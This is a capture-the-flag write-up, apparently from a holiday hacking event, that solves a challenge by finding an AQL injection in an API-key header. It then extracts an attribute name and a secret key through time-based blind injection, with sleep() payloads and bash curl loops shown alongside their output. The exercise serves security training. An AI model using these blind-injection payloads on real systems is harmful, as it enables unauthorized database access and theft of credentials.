Deactivate Frostbit Naughty-Nice List Publication
Difficulty:
Shown in Report
Wombley's ransomware server is threatening to publish the Naughty-Nice list. Find a way to deactivate the publication of the Naughty-Nice list by the ransomware server.
Objective Image
Back
Challenge

This is the continuation of the Decrypt the Naughty-Nice List challenge. Now the aim is to switch off the publication completely.

Solution
Gold medal (no silver possible)

Frostbit Publication Hints: There must be a way to deactivate the ransomware server's data publication. Perhaps one of the other North Pole assets revealed something that could help us find the deactivation path. If so, we might be able to trick the Frostbit infrastructure into revealing more details.
Frostbit Slumber Hints: The Frostbit author may have mitigated the use of certain characters, verbs, and simple authentication bypasses, leaving us blind in this case. Therefore, we might need to trick the application into responding differently based on our input and measure its response. If we know the underlying technology used for data storage, we can replicate it locally using Docker containers, allowing us to develop and test techniques and payloads with greater insight into how the application functions.

In order to find a starting point for this challenge, we first need some information from the Santa Vision Challenge. If we listen to the Frostbit feed there, a reference to the URL that allows deactivation will also appear.

Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley

We still know our Unique User ID (UUID or botid) from the Decrypt the Naughty-Nice List challenge. If we use any value for the X-API-Key header, as seen in the feed, we also receive the response that this call is not valid. However, as in the decrypt challenge, we add the debug parameter to the call and thus at least get an indication of the invalid key.

curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate -H "X-API-Key:Test"
{"error":"Invalid Request"}

curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true -H "X-API-Key: Test"
{"debug":true,"error":"Invalid Key"}

Since this header is the only obvious variable point, we add special characters to trigger error messages to indicate a possible SQL injection. And indeed, a single quote generates an error.
We restructure the error message a little more nicely in order to understand it better and obtain a reference to ArangoDB, a graph database, in a web search.

curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true -H "X-API-Key: Test '"
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n    <other_query_lines_omitted>\n    RETURN doc"}

FOR doc IN config
FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'
<other_query_lines_omitted>
RETURN doc

Our entry point and variable part is therefore user_supplied_x_api_key, which we can pass via the URL. Unfortunately, we very quickly receive the response Request Blocked from the server as soon as we start adding certain keywords in the AQL, the Arango Query Language. The easy way is therefore not open to us.
However, the elves have also told us that we have to operate blindly. So if we exhaust the server with a valid query, a longer response time could be a good indication as opposed to an error that provides a quick response, a classic blind sql injection.
Here, too, we have to try out a little with the help of the developer's syntax manual, as many operators are blocked. However, we find out that the sleep operation and the ternary operator pass. This allows us to make queries that take a long time in the true case and not in the false case:

time curl "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || (true?sleep(20):2) || '"
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n    <other_query_lines_omitted>\n    RETURN doc"}

real    0m2.364s
user    0m0.028s
sys     0m0.005s

time curl "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || (false?sleep(20):2) || '"
{"debug":true,"error":"Invalid Key"}

real    0m0.365s
user    0m0.031s
sys     0m0.000s

The next step is to understand how the data structures in this database are organised in the first place; either the manufacturer's website directly or a web search will help us here. As we do not know the name of our attribute (see doc.<key_name_omitted>), we must first read it out. We choose the simple approach of checking whether the value begins with a certain letter. If there is a match, the waiting time is longer. Then we move on to the next letter. Finally we get: deactivate_api_key.

for i in {a..z} {0..9} '_' '-' '#' ; do echo "Testing $i"; curl --max-time 1 "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || (      SUBSTRING(ATTRIBUTES(doc)[0],0,1) == \"$i\"    ?sleep(50):2) || '" ; echo ""; sleep 1; done
Testing a
{"debug":true,"error":"Invalid Key"}

Testing b
{"debug":true,"error":"Invalid Key"}

Testing c
{"debug":true,"error":"Invalid Key"}

Testing d
curl: (28) Operation timed out after 1002 milliseconds with 0 bytes received

...

for i in {a..z} {0..9} '_' '-' '#' ; do echo "Testing $i"; curl --max-time 1 "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || (      SUBSTRING(ATTRIBUTES(doc)[0],0,19) == \"deactivate_api_key$i\"    ?sleep(50):2) || '" ; echo ""; sleep 1; done

Now that we know the name of our attribute, all we have to do is read out the value in it. To do this, we use exactly the same approach:

for i in {a..z} {0..9} '_' '-' '#' ; do echo "Testing $i"; curl --max-time 1 "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || (      SUBSTRING(doc.deactivate_api_key,0,1) == \"$i\"    ?sleep(50):2) || '" ; echo ""; sleep 1; done
Testing a
curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received

Testing b
{"debug":true,"error":"Invalid Key"}

Testing c
{"debug":true,"error":"Invalid Key"}

...

for i in {a..z} {0..9} '_' '-' '#' ; do echo "Testing $i"; curl --max-time 1 "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || (      SUBSTRING(doc.deactivate_api_key,0,37) == \"abe7a6ad-715e-4e6a-901b-c9279a964f91$i\"    ?sleep(50):2) || '" ; echo ""; sleep 1; done

Hooray! Now we can send our actual request for deactivation and have completed the task.

curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-8386-4a00-b6ad-f8accc4ef12f/deactivate -H "X-API-Key:abe7a6ad-715e-4e6a-901b-c9279a964f91"
{"message":"Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"37492952-8386-4a00-b6ad-f8accc4ef12f\",\"hash\":\"e19274f1377f614403fc72333577e68ff4654d716ac60706e5a813572b2efc31\",\"uid\":\"80511\"}\nPOSTED WIN RESULTS FOR RID 37492952-8386-4a00-b6ad-f8accc4ef12f","status":"Deactivated"}